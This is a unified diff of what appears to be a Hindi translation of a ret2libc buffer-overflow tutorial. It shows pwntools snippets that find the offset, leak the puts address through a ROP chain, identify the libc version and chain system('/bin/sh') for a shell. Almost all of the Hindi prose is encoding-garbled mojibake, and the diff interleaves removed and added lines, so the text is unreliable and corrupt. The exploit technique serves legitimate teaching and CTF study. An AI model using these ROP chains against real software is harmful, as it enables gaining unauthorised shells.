```python from pwn import * cyclic_find(0x6161616b) ``` ![](<../../../../../images/image (140).png>) -рдСрдлрд╕реЗрдЯ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ 40) рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж, рдЙрд╕ рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЕрдВрджрд░ OFFSET рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдмрджрд▓реЗрдВред\ +OFFSET (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ 40) рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж, рдЙрд╕ рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рдЕрдВрджрд░ OFFSET рдЪрд░ рдХреЛ рдмрджрд▓реЗрдВред\ `OFFSET = "A" * 40` рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реЛрдЧрд╛: `pattern create 1000` -- _ret рддрдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ_ -- `pattern seach $rsp` GEF рд╕реЗред @@ -83,15 +83,15 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` -`PUTS_PLT` рдХреЛ **function puts** рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред\ -`MAIN_PLT` рдХреЛ **main function** рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдПрдХ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреЗ рдмрд╛рдж **overflow** рдХреЛ **рдлрд┐рд░ рд╕реЗ** **exploit** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рд╢рд╛рд╢реНрд╡рдд рд╢реЛрд╖рдг рдХреЗ рд░рд╛рдЙрдВрдб)ред **рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ ROP рдХреЗ рдЕрдВрдд рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред**\ -**POP_RDI** рдХреЛ рдХреЙрд▓ рдХреА рдЧрдИ рдлрд╝рдВрдХреНрд╢рди рдХреЛ **parameter** **pass** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред +`PUTS_PLT` рдХреЛ **рдлрдВрдХреНрд╢рди puts** рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред\ +`MAIN_PLT` рдХреЛ **рдПрдХ рдЗрдВрдЯрд░реИрдХреНрд╢рди** рдХреЗ рдмрд╛рдж **рдУрд╡рд░рдлреНрд▓реЛ** рдХреЛ **рдлрд┐рд░ рд╕реЗ** **рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдореБрдЦреНрдп рдлрдВрдХреНрд╢рди** рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреЗ рдЕрдирдВрдд рд░рд╛рдЙрдВрдб)ред **рдпрд╣ рдкреНрд░рддреНрдпреЗрдХ ROP рдХреЗ рдЕрдВрдд рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред**\ +**POP_RDI** рдХреЛ рдХреЙрд▓ рдХреА рдЧрдИ рдлрдВрдХреНрд╢рди рдХреЛ **рдкреИрд░рд╛рдореАрдЯрд░** **рдкрд╛рд╕** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕ рдЪрд░рдг рдореЗрдВ рдЖрдкрдХреЛ рдХреБрдЫ рднреА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рдм рдХреБрдЫ pwntools рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди рдкрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред -## 3- libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЦреЛрдЬрдирд╛ +## 3- libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЦреЛрдЬрдирд╛ -рдЕрдм рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рдХреМрди рд╕реА **libc** рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо **function** `puts` рдХреЗ рдореЗрдореЛрд░реА рдореЗрдВ **address** рдХреЛ **leak** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╣рдо рдпрд╣ **рдЦреЛрдЬрдиреЗ** рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдореЗрдВ puts рд╕рдВрд╕реНрдХрд░рдг рдХрд┐рд╕ **library version** рдореЗрдВ рд╣реИред +рдЕрдм рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рдХреМрди рд╕реА **libc** рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо **рдлрдВрдХреНрд╢рди** `puts` рдХреЗ рдореЗрдореЛрд░реА рдореЗрдВ **рдкрддрд╛** рдХреЛ **рд▓реАрдХ** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╣рдо рдпрд╣ **рдЦреЛрдЬрдиреЗ** рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдореЗрдВ puts рд╕рдВрд╕реНрдХрд░рдг рдХрд┐рд╕ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕рдВрд╕реНрдХрд░рдг** рдореЗрдВ рд╣реИред ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -120,26 +120,26 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` -рдЗрд╕рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХреА рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрдВрдХреНрддрд┐ рд╣реИ: +рдЗрд╕рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреЛрдб рдХреА рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкрдВрдХреНрддрд┐ рд╣реИ: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` рдпрд╣ рдХреБрдЫ рдмрд╛рдЗрдЯреНрд╕ рднреЗрдЬреЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ **RIP** рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдЯ** рдХрд░рдирд╛ рд╕рдВрднрд╡ рди рд╣реЛ: `OFFSET`.\ рдлрд┐рд░, рдпрд╣ **рдЧреИрдЬреЗрдЯ** `POP_RDI` рдХрд╛ **рдкрддрд╛** рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ рддрд╛рдХрд┐ рдЕрдЧрд▓рд╛ рдкрддрд╛ (`FUNC_GOT`) **RDI** рд░рдЬрд┐рд╕реНрдЯреНрд░рд┐ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо **puts** рдХреЛ **рдХреЙрд▓** рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ **рдЙрд╕реЗ** `PUTS_GOT` рдХрд╛ **рдкрддрд╛** рдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдХреНрдпреЛрдВрдХрд┐ рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ `PUTS_GOT` рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдХрд┐рдП рдЧрдП рдкрддреЗ рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЧрдпрд╛ рд╣реИред\ -рдЗрд╕рдХреЗ рдмрд╛рдж, `PUTS_PLT` рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЬрд┐рд╕рдореЗрдВ `PUTS_GOT` **RDI** рдХреЗ рдЕрдВрджрд░ рд╣реИ) рддрд╛рдХрд┐ puts **рд╕рд╛рдордЧреНрд░реА** рдХреЛ `PUTS_GOT` рдХреЗ рдЕрдВрджрд░ **рдкрдврд╝реЗ** (**рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛**) рдФрд░ рдЗрд╕реЗ **рдкреНрд░рд┐рдВрдЯ** рдХрд░реЗред\ +рдЗрд╕рдХреЗ рдмрд╛рдж, `PUTS_PLT` рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдЬрд┐рд╕рдореЗрдВ `PUTS_GOT` **RDI** рдХреЗ рдЕрдВрджрд░ рд╣реИ) рддрд╛рдХрд┐ puts `PUTS_GOT` рдХреЗ рдЕрдВрджрд░ рдХреА рд╕рд╛рдордЧреНрд░реА **рдкрдврд╝реЗ** (**рдореЗрдореЛрд░реА рдореЗрдВ puts рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛**) рдФрд░ рдЗрд╕реЗ **рдкреНрд░рд┐рдВрдЯ** рдХрд░реЗред\ рдЕрдВрдд рдореЗрдВ, **рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдлрд┐рд░ рд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рддрд╛рдХрд┐ рд╣рдо рдлрд┐рд░ рд╕реЗ рдУрд╡рд░рдлреНрд▓реЛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛ рд╕рдХреЗрдВред -рдЗрд╕ рддрд░рд╣ рд╣рдордиреЗ **puts рдлрд╝рдВрдХреНрд╢рди** рдХреЛ **рдкреНрд░рд┐рдВрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджрд┐рдпрд╛ рд╣реИ **рдореЗрдореЛрд░реА** рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди **puts** рдХрд╛ **рдкрддрд╛** (рдЬреЛ **libc** рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдЕрдВрджрд░ рд╣реИ)ред рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╣ рдкрддрд╛ рд╣реИ, рд╣рдо **рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ libc рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**ред +рдЗрд╕ рддрд░рд╣ рд╣рдордиреЗ **puts рдлрд╝рдВрдХреНрд╢рди** рдХреЛ **рдкреНрд░рд┐рдВрдЯ** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдзреЛрдЦрд╛** рджрд┐рдпрд╛ рд╣реИ **рдореЗрдореЛрд░реА** рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди **puts** рдХрд╛ **рдкрддрд╛** (рдЬреЛ **libc** рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдВрджрд░ рд╣реИ)ред рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╣ рдкрддрд╛ рд╣реИ, рд╣рдо **рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ libc рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ**ред ![](<../../../../../images/image (141).png>) -рдЪреВрдВрдХрд┐ рд╣рдо рдХреБрдЫ **рд╕реНрдерд╛рдиреАрдп** рдмрд╛рдЗрдирд░реА рдХрд╛ **рд╢реЛрд╖рдг** рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ **рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ** рдХрд┐ рдХреМрди рд╕рд╛ **libc** рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ (рдмрд╕ `/lib/x86_64-linux-gnu/libc.so.6` рдореЗрдВ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЦреЛрдЬреЗрдВ)ред\ +рдЪреВрдВрдХрд┐ рд╣рдо рдХреБрдЫ **рд╕реНрдерд╛рдиреАрдп** рдмрд╛рдЗрдирд░реА рдХрд╛ **рд╢реЛрд╖рдг** рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ **рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ** рдХрд┐ рдХреМрди рд╕рд╛ **libc** рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ (рдмрд╕ `/lib/x86_64-linux-gnu/libc.so.6` рдореЗрдВ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЦреЛрдЬреЗрдВ)ред\ рд▓реЗрдХрд┐рди, рдПрдХ рджреВрд░рд╕реНрде рд╢реЛрд╖рдг рдорд╛рдорд▓реЗ рдореЗрдВ, рдореИрдВ рдпрд╣рд╛рдБ рдмрддрд╛рдКрдВрдЧрд╛ рдХрд┐ рдЖрдк рдЗрд╕реЗ рдХреИрд╕реЗ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ### 3.1- libc рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЦреЛрдЬ (1) -рдЖрдк рд╡реЗрдм рдкреГрд╖реНрда рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ: [https://libc.blukat.me/](https://libc.blukat.me)\ -рдпрд╣ рдЖрдкрдХреЛ **libc** рдХреЗ рдЦреЛрдЬреЗ рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред +рдЖрдк рд╡реЗрдм рдкреГрд╖реНрда рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИ: [https://libc.blukat.me/](https://libc.blukat.me)\ +рдпрд╣ рдЖрдкрдХреЛ рдЦреЛрдЬреЗ рдЧрдП **libc** рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред ![](<../../../../../images/image (142).png>) @@ -152,12 +152,12 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - `$ ./get` рдЗрд╕рдореЗрдВ рдХреБрдЫ рд╕рдордп рд▓рдЧреЗрдЧрд╛, рдзреИрд░реНрдп рд░рдЦреЗрдВред\ -рдЗрд╕рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: +рдЗрд╕рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: - Libc рдкреНрд░рддреАрдХ рдирд╛рдо: `puts` - рд▓реАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ libc рдкрддрд╛: `0x7ff629878690` -рд╣рдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ **libc** рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред +рд╣рдо рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕рд╛ **libc** рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧ рдореЗрдВ рд╣реИред ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) @@ -172,7 +172,7 @@ Getting libc6_2.23-0ubuntu10_amd64 -> Extracting package -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` -`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` рд╕реЗ libc рдХреЛ рд╣рдорд╛рд░реА рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` рдХреЛ рд╣рдорд╛рд░реА рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЙрдкреА рдХрд░реЗрдВред ### 3.3- рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди ```python @@ -182,13 +182,13 @@ __libc_start_main read gets ``` -## 4- рдЖрдзрд╛рд░рд┐рдд libc рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдирд╛ +## 4- libc рдкрддрд╛ рд▓рдЧрд╛рдирд╛ рдФрд░ рд╢реЛрд╖рдг рдХрд░рдирд╛ -рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдкрддрд╛ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рд╣рдо рдПрдХ рд╕реНрдерд╛рдиреАрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдореИрдВ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧ рдХрд░реВрдВрдЧрд╛: `/lib/x86_64-linux-gnu/libc.so.6` +рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░ рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХрд╛ рдкрддрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЪреВрдВрдХрд┐ рд╣рдо рдПрдХ рд╕реНрдерд╛рдиреАрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдореИрдВ рдмрд╕ рдЙрдкрдпреЛрдЧ рдХрд░реВрдВрдЧрд╛: `/lib/x86_64-linux-gnu/libc.so.6` -рддреЛ, `template.py` рдХреЗ рд╢реБрд░реБрдЖрдд рдореЗрдВ **libc** рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдмрджрд▓реЗрдВ: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #рдЬрдм рдкрддрд╛ рд╣реЛ рддреЛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдкрде рд╕реЗрдЯ рдХрд░реЗрдВ` +рддреЛ, `template.py` рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ **libc** рд╡реЗрд░рд┐рдПрдмрд▓ рдХреЛ рдмрджрд▓реЗрдВ: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` -**libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА** рдХреЛ **рдкрде** рджреЗрдиреЗ рд╕реЗ рдмрд╛рдХреА рдХрд╛ **рд╢реЛрд╖рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред +**libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА** рдХреЗ рд▓рд┐рдП **рдкрде** рджреЗрдиреЗ рд╕реЗ рдмрд╛рдХреА рдХрд╛ **рд╢реЛрд╖рдг рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред `get_addr` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЕрдВрджрд░ **libc рдХрд╛ рдЖрдзрд╛рд░ рдкрддрд╛** рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: ```python @@ -208,7 +208,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` -рдЕрдВрдд рдореЗрдВ, /bin/sh рдирд┐рд╖реНрдкрд╛рджрди рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ: +рдЕрдВрдд рдореЗрдВ, /bin/sh рдирд┐рд╖реНрдкрд╛рджрди рд╢реЛрд╖рдг рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -222,13 +222,13 @@ p.interactive() #Interact with the conenction рдЕрдВрддрд┐рдо ROP (`rop1`) рдиреЗ рдлрд┐рд░ рд╕реЗ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛, рдлрд┐рд░ рд╣рдо **рдлрд┐рд░ рд╕реЗ рд╢реЛрд╖рдг** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **overflow** (рдЗрд╕рд▓рд┐рдП `OFFSET` рдпрд╣рд╛рдБ рдлрд┐рд░ рд╕реЗ рд╣реИ)ред рдлрд┐рд░, рд╣рдо `POP_RDI` рдХреЛ _"/bin/sh"_ (`BINSH`) рдХреЗ **рдкрддреЗ** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреЗ рд╣реБрдП рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ **system** рдлрд╝рдВрдХреНрд╢рди (`SYSTEM`) рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ _"/bin/sh"_ рдХрд╛ рдкрддрд╛ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред\ рдЕрдВрдд рдореЗрдВ, **exit рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛** **рдХреЙрд▓** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ **рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕рдорд╛рдкреНрдд** рд╣реЛ рдЬрд╛рдП рдФрд░ рдХреЛрдИ рдЕрд▓рд░реНрдЯ рдЙрддреНрдкрдиреНрди рди рд╣реЛред -**рдЗрд╕ рддрд░рд╣ рд╢реЛрд╖рдг рдПрдХ \_/bin/sh**\_\*\* рд╢реЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред\*\* +**рдЗрд╕ рддрд░рд╣ рд╢реЛрд╖рдг рдПрдХ _/bin/sh**_ рд╢реЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред** ![](<../../../../../images/image (143).png>) ## 4(2)- ONE_GADGET рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ -рдЖрдк [**ONE_GADGET** ](https://github.com/david942j/one_gadget) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **system** рдФрд░ **"/bin/sh"** рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **ONE_GADGET** libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ **ROP рдкрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдЦреЛрдЬреЗрдЧрд╛ред\ +рдЖрдк [**ONE_GADGET** ](https://github.com/david942j/one_gadget) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **system** рдФрд░ **"/bin/sh"** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред **ONE_GADGET** libc рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╢реЗрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬреЗрдЧрд╛ рдЬреЛ рдХреЗрд╡рд▓ рдПрдХ **ROP рдкрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред\ рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХреБрдЫ рд╕реАрдорд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВ, рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рдФрд░ 